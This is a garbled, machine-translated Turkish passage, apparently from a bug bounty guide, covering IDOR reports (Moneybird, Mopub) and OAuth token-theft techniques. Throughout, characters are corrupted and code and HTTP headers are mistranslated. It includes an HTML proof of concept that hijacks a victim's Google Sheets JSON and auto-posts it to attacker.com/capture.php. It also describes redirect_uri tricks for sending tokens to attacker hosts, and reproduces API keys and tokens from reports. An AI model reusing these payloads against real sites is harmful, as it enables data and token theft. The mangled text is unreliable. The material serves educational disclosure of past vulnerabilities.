UTF-8 =% E2% 9C% 93 ve authent�c�ty_token = redacted ve doorkeeper_appl�cat�on% 5Bname% 5D = TWDA \

s ve token_type = ACCESS_TOKEN & adm�n�strat�on_�d = ABCDEFGHIJKLMNOP ve% 5B% 5D = satış kapsamları \

_�nvo�ces ve% 5B% 5D = belgeler� kapsamları ve% 5B% 5D = tahm�nler� kapsamları ve% 5B% 5D = banka kapsamları ve kapsamları \

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/135989
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% 5B% 5D = ayarları & doorkeeper_appl�cat�on% 5Bred�rect_ur�% 5D = & taahhüt = Kaydet

Gördüğünüz g�b�, çağrı b�r �çermekted�r adm�n�strat�on_�d olarak çıkıyor,
Eklenen �şletmeler �ç�n hesap k�ml�ğ�. Daha da �lg�nç olanı gerçekt�
hesap numarasının 18 basamaklı olmasına rağmen (sınama sırasında),
G�r�ş yaptıktan sonra hemen hesaba eklenen kullanıcıya açıklandı
URL. Böylece, B Kullanıcısı g�r�ş yaptığında, onlar (ya da daha doğrusu ben) adres�ndek� A Hesabına yönlend�r�ld�ler.
https://moneyb�rd.com/ABCDEFGHIJKLMNOP (yukarıdak� örnek k�ml�ğ�m�ze dayanarak)
ABCDEFGHIJKLMOP adm�n�strasyon_�d'�d�r.

Bu �k� b�lg� parçasıyla, davet ett�ğ�m kullanıcı olan Kullanıcı’yı kullanmak doğaldı.
B, açıkça bel�rt�lmemes�ne rağmen, Kullanıcı A'sı �ç�n b�r uygulama denemek ve oluşturmak
bunu yapmak �ç�n �z�n. Sonuç olarak, B Kullanıcısıyla, Kullanıcının sah�b� olduğu �k�nc� b�r �şletme oluşturdum.
B'n�n mülk�yet� ve kontrolü tamamen kontrol altındaydı (B Kullanıcısı B, B Hesabı ve
bunun �ç�n uygulamalar oluşturab�l�r, ancak �ç�n uygulamalar oluşturma �zn�n�z yoktu
Hesap A). Hesap B'n�n ayarlar sayfasına g�tt�m ve b�r uygulama ekled�m.
POST çağrısı Adm�n�strat�on_�d yer�ne Account A'nın URL's�n� kullandı ve �şe yaradı.
B kullanıcısı olarak, yalnızca ben�m hesabım olmasına rağmen A hesabına tam �z�nler� olan b�r uygulamam vardı.
faturalandırma �ç�n sınırlı �z�nler.

Anlaşılan, b�r saldırgan platform �z�nler�n� atlamak �ç�n bu güvenl�k açığını kullanab�l�r.
ve b�r �şletmeye eklenmes� koşuluyla tam �z�nler� olan b�r uygulama oluşturun veya
Bu kullanıcı hesabının �z�nler�nden bağımsız olarak b�r kullanıcı hesabını tehl�keye attı.
Daha önce çok geçmeden yaşamaya ve h�ç şüphes�z raporlara kapılmaya rağmen,
Moneyb�rd ay �ç�nde sorunu çözdü ve öded�. Kes�nl�kle har�ka b�r takım
çalışmak, b�r tane tavs�ye eder�m.
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IDOR'lar �ç�n testler, yetenekler�n yanı sıra kesk�n b�r gözlem gerekt�r�r. İncelerken
Güvenl�k açıkları �ç�n HTTP �stekler�, aşağıdak� g�b� hesap tanımlayıcıları aramaya başlayın
Yukarıdak� Adm�n�strat�on_�d. Alan adı �ken, management_�d
hesap_adı adı ver�len , sade olana kıyasla b�raz yanıltıcıdır
tamsayı kontrol etmem gereken b�r kırmızı bayraktı. Ek olarak, uzunluğu
parametres�nde, güvenl�k açığından yararlanmadan güvenl�k açığından yararlanılması zor olurdu.
b�r sürü ağ gürültüsü duymak,
doğru k�ml�k Benzer güvenl�k açıkları bulursanız, raporunuzu gel�şt�rmek �ç�n her zaman açık
k�ml�kler� �fşa eden HTTP yanıtları, URL'ler vb. Neyse k� ben�m �ç�n, k�ml�ğ�
İht�yacım olan hesap URL’s�ne dah�l ed�ld�.

3. Tw�tter Mopub API Token Çalma

Zorluk : Orta

URL : https://mopub.com/ap�/v3/organ�zat�ons/ID/mopub/act�vate

Rapor Bağlantısı : https://hackerone.com/reports/95552 3

Rapor Tar�h� : 24 Ek�m 2015

Ödemel� Ödül : 5.040

Tanım :

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/95552


Ek�m 2015'te Akh�l Ren� (https://hackerone.com/wesecureapp) Tw�t’�n
ter'�n Mopub başvurusu (2013'ten b�r Tw�tter devralması) b�r IDOR'a açıktı
Saldırganların API anahtarlarını çalmalarına ve n�hayet�nde mağdurun hesabını ele geç�rmeler�ne �z�n veren hata.
İlg�nçt�r, ancak hesap devralma b�lg�ler� �lk olarak sağlanmadı
rapor - yorum �le 19 gün sonra, neyse k� Tw�tter b�r ödül ödemeden önce sağlandı.

Raporuna göre, bu güvenl�k açığından �z�n doğrulama yeterl�l�ğ� olmamasına neden oldu
POST çağrısında Mopub'ın akt�f uç noktasına. İşte nasıl göründüğü:

POST / ap� / v3 / kuruluşlar / 5460d2394b793294df01104a / mopub / HTTP'y� etk�nleşt�r / 1.1

Ana b�lg�sayar : fabr�c.�o

Kullanıcı Aracısı : Moz�lla / 5.0 (W�ndows NT 6.3; WOW64; rv: 41.0) Gecko / 20100101 F�refox / \
41.0

Kabul etmek: */*

Kabul D�l�: en-ABD, en; q = 0.5
Kabul-Kodlama: gz�p, deflate

X-CSRF Token: 0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A =

İçer�k Türü: uygulama / x-www-form-urlencoded; karakter kümes� = UTF-8

3 https://hackerone.com/reports/95552
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X-CRASHLYTICS-DEVELOPER-TOKEN: 0bb5ea45eb53fa71fa5758290be5a7d5bb867e77
X-İsten�len İle: XMLHttpRequest

Hakem: https: //fabr�c.�o/�mg-srcx-onerrorprompt15/andro�d/apps/app.myappl�cat� \

/ MoPub üzer�nde
İçer�k Uzunluğu: 235

Çerez: <düzelt�ld�>

Bağlantı: canlı tutmak
Pragma: önbellek yok

Önbellek Kontrolü: önbellek yok

company_name = dragoncompany & address1 = 123 cadde ve address2 = 123 & şeh�r = hollywood ve eyalet \

= Cal�forn�a & z�p_code = 90210 & COUNTRY_CODE = ABD & l�nk = false

Aşağıdak� yanıtla sonuçlanan:

{ "Mopub_�dent�ty": "doğruladı" "5496c76e8b15dabe9c0006d7": { "�d" true "b�r�nc�l": fa \

lse, "h�zmet": "MoPub", "bel�rteç": "35592"}, "örgüt": { "�d": "5460d2394b793294df0 \

1104a " "name": "test", "ad": "test2", "ap�_key":" 8590313c7382375063c2fe279a4487a9 \
8387767a " "kayıtlar": { "beta_d�str�but�on": "doğru"} "accounts_count": 3," apps_co \

unts ": {" andro�d ": 2}," sdk_organ�zat�on ": true," bu�ld_secret ":" 5ef0323f62d71c475611 \

a635ea09a3132f037557d801503573b643ef8ad82054" , "mopub_�d": "33525"}}

Bu aramalarda, kuruluş k�ml�ğ�n�n URL’n�n b�r parçası olarak eklend�ğ�n� göreceks�n�z;
yukarıdak� örnek 2'ye. Cevapta Mopub, kuruluş k�ml�ğ�n� ve ayrıca
ap�_key'� sağlar. Y�ne, yukarıdak� örneğe benzer şek�lde, organ�zasyon k�ml�ğ� b�r
unguessable d�ze, platformda sızdırılmış, ayrıntıları ne yazık k�
bu açıklamada paylaşılmadı.

Ş�md�, bel�rt�ld�ğ� g�b�, sorun çözüldükten sonra Akh�l, Tw�tter’ı,
saygınlık, mağdurun hesabını tamamen devralmak �ç�n kötüye kullanılmış olab�l�r. Böyle yaparak,

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/95552


saldırganın, çalınan API anahtarını alması ve anahtar kodu
URL, https://app.mopub.com/complete/htsdk/?code=BUILDSECRET&next=%2d.
Bunu yaptıktan sonra, saldırgan kurbanın Mopub hesabına ve heps�ne er�şeb�l�r.
Tw�tter'ın mob�l gel�şt�rme platformu, Fabr�c'ten uygulamalar / organ�zasyonlar.
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Yukarıdak� Moneyb�rd örneğ�ne benzese de, her �k�s�n�n de kötüye kullanılması gerekt�ğ�nden
sızdırılmış kuruluş k�ml�kler�n� �mt�yazları yükseltmek �ç�n, bu örnek har�ka çünkü
sıfır �le kullanıcılara uzaktan saldırab�lmen�n c�dd�yet�n� göstermekted�r
onların adına etk�leş�m ve tam b�r �st�smar gösterme �ht�yacı. Başlangıçta,
Akh�l tam hesap devralma dah�l veya göstermed� ve
Tw�tter'ın bu söze verd�ğ� yanıt (örneğ�n, ayrıntı �stemek ve
öyleyse), başlangıçta çözülürken bu etk�y� düşünmem�ş olab�l�rler.
Güvenl�k açığı. Bu yüzden, rapor ver�rken, raporun tamamını d�kkate aldığınızdan ve ayrıntılarını anladığınızdan em�n olun.
Raporladığınız güvenl�k açığının, yen�den oluşturma adımları da dah�l olmak üzere etk�s�.

özet

B�r saldırgan bazı referanslara er�şeb�ld�ğ� veya değ�şt�reb�ld�ğ� zaman IDOR açıkları ortaya çıkıyor
aslında o saldırganın er�şemeyeceğ� b�r nesneye. Onlar har�ka
Karmaşıklıklarının bas�t, sömürüden farklı olduğu �ç�n test ed�l�p bulunma güvenl�k açığı
UUID'ler�n rastgele veya rasgele olduğu yerlerde daha karmaşık olana ekleyerek ve çıkararak bas�t tamsayılar
tanımlayıcılar kullanılır. B�r s�te UUID'ler veya rasgele tanımlayıcılar kullanıyorsa, heps� değ�l
kayıp. Bu tanımlayıcıları tahm�n etmek veya s�ten�n sızdığı yerler� bulmak mümkün olab�l�r
UUID'ler. Buna JSON yanıtları, HTML �çer�k yanıtları ve URL’ler� b�rkaç
örnekler�.

Raporlama yaparken, b�r saldırganın güvenl�k açığını nasıl kötüye kullanab�leceğ�n� düşündüğünüzden em�n olun. İç�n
örneğ�n, Moneyb�rd örneğ�m b�r hesaba eklenm�ş b�r kullanıcı gerekt�r�yorsa,
B�r saldırgan, IDOR'dan platform �z�nler�n� tamamen atlamak �ç�n yararlanab�l�r.
hesaptak� herhang� b�r kullanıcıyı tehl�keye atmak.
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Açıklama

OAuth s�tes�ne göre, şeh�r �ç�nde güvenl� yetk�lend�rme sağlamak �ç�n açık b�r protokoldür.
web, mob�l ve masaüstü uygulamalarından bas�t ve standart b�r yöntemd�r. D�ğer
kel�meler, OAuth, kullanıcıların web s�teler�ne �z�n vermes�ne �z�n veren b�r kullanıcı k�ml�k doğrulama şekl�d�r.
başka b�r s�teden kend� b�lg�ler�ne �fşa etmeden veya paylaşmadan er�şme başvuruları
onların ş�fres�. Bu, kullanarak b�r s�teye g�r�ş yapmanızı sağlayan temel �şlemd�r.
Facebook, Tw�tter, L�nkedIn vb. OAuth'un 1.0, 2.0 sürümler�n�n �k� sürümü vardır. Onlar
b�rb�r�m�zle uyumlu değ�l ve bu bölümün amaçları �ç�n çalışacağız
2.0 �le.

Süreç oldukça kafa karıştırıcı olab�leceğ�nden ve uygulamanın çok fazla potans�yel� olduğu �ç�n
hatalar �ç�n Ph�l�ppe Harewood’un har�ka b�r görüntüsünü ekled�m.1 resmeden blog
genel süreç:

1 https://www.ph�l�ppeharewood.com

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
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Ph�l�ppe Harewood - Facebook OAuth Sürec�

Bunu yıkalım. Başlamak �ç�n, üstte üç başlık olduğunu göreceks�n�z: Kullanıcının
Tarayıcı , Uygulamanızın Sunucu Tarafı Kodu ve Facebook API's� . OAuth açısından, bunlar
aslında Kaynak Sah�b� , Müşter� ve Kaynak Sunucusu . Anahtar paket serv�s� budur
tarayıcınız kolaylaştıracak b�r d�z� HTTP �steğ�n� gerçekleşt�recek ve gerçekleşt�recek
Eğer olarak Kaynak Sah�b� , tal�mat Kaynak Sunucusu �z�n Cl�ent
İstenen kapsamda tanımlandığı şek�lde k�ş�sel b�lg�ler�n�ze er�şeb�l�rs�n�z. Kapsamlar
�z�nler g�b� ve bel�rl� b�lg� parçalarına er�ş�m� kontrol ederler. Örneğ�n,
Facebook kapsamları arasında e-posta, publ�c_prof�le, user_fr�ends, vb. Sayılab�l�r.
e-posta kapsamı, b�r s�te arkadaşlarınızın değ�l, yalnızca bu Facebook b�lg�ler�ne er�şeb�ld�.
prof�l vb.

Bu, adımların üzer�nden geçel�m ded�.

Aşama 1

OAuth �şlem�n�n tümünün Kullanıcının tarayıcısını ve kullanıcının tıkladığını başlattığını göreb�l�rs�n�z.
"Facebook �le g�r�ş". Bu tıkladığınızda, s�teye GET �steğ� �le sonuçlanır. Yol
genell�kle www.example.com/oauth/facebook g�b� b�r şeye benz�yor .
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Adım 2

S�te, tarayıcınıza b�r GET gerçekleşt�rmes�n� söyleyen 302 yönlend�rmes�yle yanıt verecek
Konum başlığında tanımlanan URL’y� �stey�n. URL şuna benzeyecek:

https://www.facebook.com/v2.0/d�alog/oauth?cl�ent_�d=123

Ve red�rect_ur� = HTTPS% 3A% 2F% 2Fwww.example.com% 2Foauth% 2Fcallback
& Response_type = kod & kapsam = ema�l & eyalet = XYZ

Bu URL’de b�rkaç öneml� parça var. İlk olarak, cl�ent_�d hang� s�tey� tanımlar
sen gel�yorsun Red�rect_ur�, Facebook'a s�z� tekrar nereye göndereceğ�n� söyler.
S�ten�n ( müşter� ), kapsam tarafından tanımlanan b�lg�lere er�şmes�ne �z�n verm�ş olması , ayrıca
URL’ye dah�l ed�lm�şt�r.

Daha sonra response_type, Facebook'a ne döneceğ�n� söyler, bu b�r bel�rteç veya kod olab�l�r.
Bu �k�s� arasındak� fark öneml�d�r, �z�n ver�len s�te tarafından b�r kod kullanılır.
�stemc� ) Kaynak Sunucuyu veya örneğ�m�zde Facebook’u tekrar aramak
b�r bel�rteç. Öte yandan, bu �lk durakta b�r bel�rteç �stemek ve almak
hesap b�lg�s�n� sorgulamak �ç�n kaynak sunucuya anında er�ş�m sağlayın
Bu s�mge geçerl�yd�.

Son olarak, durum değer� b�r CSRF koruması türü olarak �şlev görür. Talep eden s�te ( müşter� )
bunu kaynak sunucuya or�j�nal çağrılarına dah�l etmel� ve
a) asıl �steğ�n s�te tarafından çağrıldığını ve
tahr�f ed�lmed�.

Aşama 3

Sonra, b�r kullanıcı OAuth �let�ş�m kutusunu kabul ederse açılır ve �stemc� �z�nler�n� ver�r.
kaynak sunucudak� b�lg�ler� ya da örneğ�m�ze göre Facebook cevap verecek
302 tarayıcıya yen�den yönlend�rmek , red�rect_ur� tarafından tanımlanan s�teye ( �stemc� )
ve b�r kod veya bel�rteç ekley�n, �ç�nde cevap_t�p�ne (genell�kle koddur) bağlı olarak
�lk URL

4. adım

Tarayıcı , kod ve durum dah�l olmak üzere s�teye ( müşter� ) b�r GET �steğ� yapacak
URL’dek� kaynak sunucu tarafından sağlanan değerler .

Adım 5

S�te ( �stemc� ), �şlem�n tahr�f ed�lmed�ğ�nden em�n olmak �ç�n durum değer�n� doğrulamalıdır
yapmak �ç�n kend� cl�ent_secret'ler�yle b�rl�kte kod kullanın ve (yalnızca onlar b�l�r)
B�r bel�rteç �ç�n kaynak sunucuya veya Facebook'a �stek gönder .

Sayfa 174

OAuth 162

6. adım

Kaynak sunucusu bu örnekte, veya facebook, s�teye (yanıt �stemc� b�r b�rl�kte)



s�ten�n ( müşter�n�n ) Facebook'a API çağrıları yapmasına ve kapsamlara er�şmes�ne �z�n veren token
3. Adımda �z�n verd�ğ�n�z

Ş�md�, bütün bu akılda tutulması gereken, d�kkat etmen�z gereken b�r şey
S�teye ( müşter� ) er�şmek �ç�n kaynak sunucuya , Facebook'a bu örnekte, z�yaret edersen�z
Y�ne 2. Adımdak� URL’den, �şlem�n kalan kısmı tamamen
gerekl� kullanıcı etk�leş�m� olmadan arka plan.

Yan�, tahm�n ett�ğ�n�z g�b�, OAuth �le aranacak olası b�r güvenl�k açığı
Kaynak sunucunun döndürdüğü bel�rteçler� çalma yeteneğ� . Bunu yapmak �z�n ver�r
Saldırgan adına mağdur adına kaynak sunucuya er�şmek �ç�n saldırgan
3. Adımdak� yetk� belges�ndek� kapsamlar aracılığıyla �z�n ver�l�r. Araştırmama göre, bu t�p�k
red�rect_ur�'y� man�püle edeb�lme ve yer�ne b�r bel�rteç �steme sonucu
kod.

Bu gel�r �ç�n Yan�, �lk adım test etmek Adım 2 . Eğer yönlend�r�ld� aldığınızda kaynak
sunucuya , yanıt_t�p�n� değ�şt�r�n ve kaynak sunucunun b�r bel�rteç döndürüp döndürmeyeceğ�n� görün. Eğer
öyle yaparsa, s�ten�n veya uygulamanın nasıl yapılandırıldığını onaylamak �ç�n red�rect_ur�'y� değ�şt�r�n. İşte,
bazı OAuth kaynak sunucuları kend�ler� yanlış yapılandırılmış olab�l�r ve aşağıdak� g�b� URL’lere �z�n vereb�l�r
www.example.ca, www.example.com@attacker.com vb. İlk örnekte, .ca eklen�r.
aslında s�ten�n etk� alanını değ�şt�r�r. Yan� benzer b�r şey yapab�l�r ve satın alab�l�rs�n�z
etk� alanı, bel�rteçler� sunucunuza gönder�l�r. İk�nc� örnekte, @ ekleme
URL'y� tekrar değ�şt�rerek �lk yarıyı gönder�lecek kullanıcı adı ve ş�fre olarak kabul ed�n.
attacker.com'a.

Bu �k� örneğ�n her b�r� b�r hacker olarak s�z�n �ç�n mümkün olan en �y� senaryoyu sunar.
B�r kullanıcı s�teye zaten �z�n verm�şse ( müşter� ). Ş�md� tekrar z�yaret ederek
kaynak sunucu değ�şt�r�lm�ş b�r yanıt_t�p� ve yen�den yönlend�rmel�_ur� kodu olan kötü amaçlı URL
Kullanıcının zaten �z�n verd�ğ�n� ve bel�rtec� döndüreceğ�n�
herhang� b�r etk�leş�m olmadan sunucunuza otomat�k olarak. Örneğ�n, b�r
kötü amaçlı URL'y� gösteren src n�tel�ğ� �le kötü amaçlı <�mg> .

Ş�md� doğrudan sunucunuza yönlend�r�lemed�ğ�n�z� varsayarsak, kaynağın hala kaynak olup olmadığını göreb�l�rs�n�z.
sunucu , test.example.com g�b� farklı alt alanları kabul eder veya
www.example.com/attacker-controlled. Red�rect_ur� yapılandırması katı değ�lse, bu
kaynak sunucunun bel�rtec� kontrol ett�ğ�n�z b�r URL'ye göndermes�ne neden olab�l�r . Ancak,
B�r jetonu başarıyla çalmak �ç�n bu güvenl�k açığını b�r araya get�rmen�z gerek�r.
Bunu yapmanın üç yolu açık b�r yönlend�rmed�r, uzak b�r görüntü veya b�r XSS �ster.

Açık yönlend�rmeyle �lg�l� olarak, yolu ve / veya alt etk� alanını kontrol edeb�l�yorsanız
hang� yönlend�rmeye yönlend�r�l�rse, açık b�r yönlend�rme
sunucunuza gönder�len yönlend�rme üstb�lg�s�. Başka b�r dey�şle, açık b�r yönlend�rme
B�r kullanıcıyı kötü amaçlı s�ten�ze göndermen�z ve bunu yaparken sunucunuza yapılan �stek
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Mağdurun geld�ğ� URL’y� ekley�n. Yana kaynak sunucu kurbanı gönder�yor
Açık yönlend�rme �ç�n bel�rteç ve bel�rteç bu URL’ye dah�l ed�l�rse, bel�rteç
Aldığınız başvuru yönlend�r�c� başlığı.

Uzak b�r görüntü �le �lg�l� olarak, ne zaman har�ç, yukarıda açıklandığı g�b� benzer b�r �şlemd�r.
Kaynak sunucu sunucunuzdan Uzak res�m �çeren b�r sayfaya yönlend�r�yor.
Mağdurun tarayıcısı görüntü �ç�n talepte bulunduğunda, bunun �ç�n yönlend�ren başlık
�stek URL'y� �çerecekt�r. Ve tıpkı yukarıdak� g�b�, URL bel�rtec� �çerd�ğ�nden
Sunucunuza �stek eklenecekt�r.

Son olarak, XSS �le �lg�l� olarak, herhang� b�r alt etk� alanında depolanmış b�r XSS bulab�l�rsen�z /



b�r saldırganın yönlend�rd�ğ� yolu veya red�rect_ur� öğes�n�n b�r parçası olarak yansıyan b�r XSS
Bu, bel�rtec� URL’den alan ve gönderen kötü amaçlı b�r komut dosyası kullanmaktan
onların sunucusu.

Bütün bunlar göz önüne alındığında, bunlar sadece OAuth'un kötüye kullanılab�leceğ� yöntemlerden sadece b�rkaçı. Orada
örneklerden öğreneceğ�n�z g�b� d�ğerler� vardır.

Örnekler

1. Facebook Resm� Er�ş�m S�mgeler�n� Kaydırma

Zorluk : Yüksek

URL : facebook.com

Rapor Bağlantısı : Ph�l�ppe Harewood - Facebook Resm� Er�ş�m S�mgeler�n� Kaydırma 2

Rapor Tar�h� : 29 Şubat 2016

Ödemel� Ödül : Açıklanmadı

Tanım :

Ph�l�ppe, bu güvenl�k açığını ayrıntılarıyla açıklayan blogunda, nasıl �sted�ğ�n� açıklayarak başlıyor
Facebook jetonlarını yakalamak ve yakalamak �ç�n. Ancak, kırmanın b�r yolunu bulamadı.
OAuth süreçler� ona bel�rteçler� yollamak �ç�n. Bunun yer�ne, aramak �ç�n ustaca b�r f�kr� vardı.
devralab�leceğ� savunmasız b�r Facebook uygulaması. F�kr�ne çok benzer
b�r alt etk� alanı devralma.

Görünüşe göre, her Facebook kullanıcısının hesabı tarafından yetk�lend�r�lm�ş uygulamaları vardır, ancak bu
açıkça kullanmayab�l�rler. Yazısına göre, b�r örnek “İçer�k Sekmes� olacaktır.
Facebook Fan Sayfalarına bazı API çağrıları yükleyen, www. Uygulamalar l�stes�
https://www.facebook.com/search/me/apps-used adres�n� z�yaret ederek er�ş�leb�l�r.

Bu l�steye bakarak Ph�l�ppe, yanlış yapılandırılmış b�r uygulama bulmayı başardı ve
g�b� görünen b�r �stekle bel�rteçler� yakalamak �ç�n kötüye kullanılab�l�r:

2 http://ph�l�ppeharewood.com/sw�p�ng-facebook-off�c�al-access-tokens
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https:? //facebook.com/v2.5/d�alog/oauth response_type = bel�rtec� & d�splay = açılır & cl�ent_ \
�d = APP_ID & red�rect_ur� = REDIRECT_URI

Burada APP_ID �ç�n kullanacağı uygulama tam �z�nlere sah�pt�.
Zaten yetk�l� ve yanlış yapılandırılmış - �şlemden 1 ve 2 numaralı adımların anlamı
OAuth Açıklamasında açıklananlar zaten tamamlandı ve kullanıcı alamadı
onlar zaten zaten yapmış çünkü app �z�n vermek �ç�n b�r pop-up!
Ek olarak, REDIRECT_URI, Facebook'a a�t olmadığından, Ph�l�ppe aslında
Devral. Sonuç olarak, b�r kullanıcı bağlantısını tıkladığında, yönlend�r�lecekler:

http: // REDIRECT_URI / access_token_appended_here

Ph�l�ppe bu adres� tüm er�ş�m bel�rteçler�n� günlüğe kaydetmek ve Facebook hesaplarını ele geç�rmek �ç�n kullanab�l�r!
Resm� b�r Facebook'unuz olduğunda, yayınına göre, daha da har�ka olan şey
er�ş�m bel�rtec�ne, örneğ�n Facebook'un sah�p olduğu d�ğer mülklerden bel�rteçlere er�şeb�l�rs�n�z.
Instagram! Tek yapması gereken, Facebook GraphQL'e (sorgulama �ç�n b�r API) çağrı yapmaktı.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://philippeharewood.com/swiping-facebook-official-access-tokens
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://philippeharewood.com/swiping-facebook-official-access-tokens


Facebook'tan gelen ver�ler) ve yanıt, �ç�ndek� uygulama �ç�n b�r access_token �çer�r
soru.

çıkarımlar

Güvenl�k açıklarını ararken, esk� varlıklardan nasıl yararlanılab�leceğ�n� göz önünde bulundurun.
Hacklen�rken, bırakılab�lecek uygulama değ�ş�kl�kler�ne d�kkat ed�n
bunlar g�b� kaynaklar ortaya çıkar. Ph�l�ppe'den gelen bu örnek har�ka çünkü o
OAuth bel�rteçler�n� çalarak ve b�r son hedef� bel�rleyerek onunla başladı
Bunu yapmak �ç�n araçlar.

Eğer bu örneğ� sevd�m, ayrıca, s�ze kontrol etmel�s�n�z Ph�l�ppe Blog 3
(Kaynaklar Bölümüne dah�l) ve Oturduğu Hack�ng Pro İpuçları Röportajı
yapmak �ç�n ben�mle aşağı - o b�r çok büyük tavs�ye sağlar !.

2. Slack OAuth Jetonlarını Çalmak

Zorluk : Düşük

URL : https://slack.com/oauth/author�ze

Rapor Bağlantısı : https://hackerone.com/reports/2575 4

Rapor Tar�h� : 1 Mayıs 2013

Ödemel� Ödül : 100 $

3 https://www.ph�l�ppeharewood.com
4 http://hackerone.com/reports/2575
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Tanım :

Mayıs 2013’te Prakhar Prasad5 Slack'e, kend� aralarında by-pass yapab�leceğ�n� b�ld�rd�.
yapılandırılmış �z�n ver�len yönlend�rmeye b�r etk� alanı sonek� ekleyerek red�rect_ur� kısıtlamaları
alan adı.

Dolayısıyla, örneğ�nde, https://ap�.slack.com/appl�cat�ons/new adres�nde yen� b�r uygulama yarattı.
https://www.google.com adres�ne yapılandırılmış b�r red�rect_ur� �le. Öyleyse, bunu denemek
red�rect_ur� = http: //attacker.com 'u dened�, Slack �steğ� reddett�. Ancak, eğer o alt
m�tted red�rect_ur� = www.google.com.mx, Slack �steğ� kabul ett�. Yönlend�rme denen�yor-
ur� = www.google.com.attacker.com adres�ne de �z�n ver�ld�.

Sonuç olarak, saldırganın yapması gereken tek şey kend� s�teler�nde uygun alt etk� alanını oluşturmaktı
Slack uygulaması �ç�n kayıtlı geçerl� red�rect_ur� �le eşleşerek, mağdurun URL'y� z�yaret etmes�n� sağlayın
Slack token'ı saldırgana gönder�rd�.

çıkarımlar

B�raz esk� olsa da, bu güvenl�k açığı OAuth red�rect_ur� değer�n�n nasıl olduğunu göster�r.
tar�hlemeler kaynak sunucular tarafından yanlış yapılandırılab�l�r . Bu durumda, Slack’�n
b�r saldırganın alan sonekler� eklemes�ne �z�n veren OAuth'un uygulanması
ve bel�rteçler� çalmak.

3. Google Dr�ve E-Tablolarını Çalmak

Zorluk : Orta

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://hackerone.com/reports/2575
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://hackerone.com/reports/2575
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/prakharprasad


URL : https://docs.google.com/spreadsheets/d/KEY

Rapor Bağlantısı : https://rodneybeede.com6

Rapor Tar�h� : 29 Ek�m 2015

Ödemel� Ödül : Açıklanmadı

Tanım :

Ek�m 2015’te, Rodney Beede Google’da olab�lecek �lg�nç b�r güvenl�k açığı buldu.
B�r saldırganın, e-tablo k�ml�ğ�n� b�lmes� durumunda e-tabloları çalmasına �z�n verd�. Buydu
Özell�kle Google’ın HTTP GET �stekler�n�n gerçekleşt�rd�ğ� b�r faktörler b�rleş�m�n�n sonucu
CSRF güvenl�k açığı oluşturan ve b�r OAuth bel�rtec� �çermeyen
JSON �çeren geçerl� b�r Javascr�pt nesnes�. Ona uzanarak, o yeter�nce naz�kt�
örneğ�n paylaşılmasına �z�n ver�n.

Düzeltmeden önce, Google’ın Görselleşt�rme API’sı, gel�şt�r�c�ler�n Google E-Tablolar’ı sorgulamalarını sağladı.
Google Dr�ve’da depolanan e-tablolardan b�lg� �ç�n. Bu başarılab�l�rd�
şuna benzeyen b�r HTTP GET �steğ�:

5 https://hackerone.com/prakharprasad
6 https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_H�jack�ng_allows_data_theft.html
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https : // dokümanlar . google . com / elektron�k tablolar / d / ID / gv�z / tq ? başlıklar = 2 & amp ; aralık = A1 : H & amp ; s \
heet = Sayfa1 & amp ; tqx = % req % 3A0

URL’n�n ayrıntıları öneml� değ�l, bu yüzden ayrılmayacağız. Öneml� olan
Bu �steğ� yaparken, Google gönder�len b�r OAauth bel�rtec� eklemem�ş veya doğrulamamıştır,
veya başka tür b�r CSRF koruması. Sonuç olarak, saldırgan �steğ� çağırab�l�r
Mağdur adına kötü n�yetl� b�r web sayfası aracılığıyla (örneğ�n, Rodney'n�n �zn�yle):

1 <html>
2 <Head>

3 <Scr�pt>

4 var google = yen� Nesne ();
5 google.v�sual�zat�on = new Object ();

6 google.v�sual�zat�on.Query = new Object ();

7 google.v�sual�zat�on.Query.setResponse = funct�on (goods) {
8 google.response = JSON.str�ng�fy (ürünler, tanımsız, 2);

9 }

10 </ Scr�pt>
11

12 <! - Bağımsız değ�şken olarak gömülü JSON d�zg�s�ne sah�p Javascr�pt'� döndürür ->

13 <scr�pt type = "text / javascr�pt" src = "https: //docs.google.com/spreadsheets/d/1 \
14 bWK2wx57QJLCsWh-jPQS07-2nka�EaXPEDNGoVZwjOA / gv�z / tq? Headers = 2 ve aralık = A1: H & amp \

15 ; sheet = Sheet1 & amp; tqx = reqId% 3A0 " > </scr�pt>

16
17 <Scr�pt>

18 �şlev kaçakçılığı (mallar) {

19 document.getElementById ('cargo') .TextText = mal;
20 document.getElementById ( 'g�zl�') göndermek ().;

21 }

22 </ Scr�pt>
23 </ Head>

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/prakharprasad
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html


24
25 <body onload = "smuggle (google.response);" >
26 <form act�on = "https://attacker.com/capture.php" method = "POST" �d = "g�zl�" >

27 <textarea �d = "cargo" name = "cargo" satırlar = "35" cols = "70" > </textarea>

28 </ Form>
29

30 </ Body>

31 </html>

Bunu yıkalım. Göre Google'ın belgeler�nde 7 , JSON yanıtı alır
Javascr�pt nesnes�ndek� ver�ler. B�r �stek b�r responseHandler değer� �çerm�yorsa,

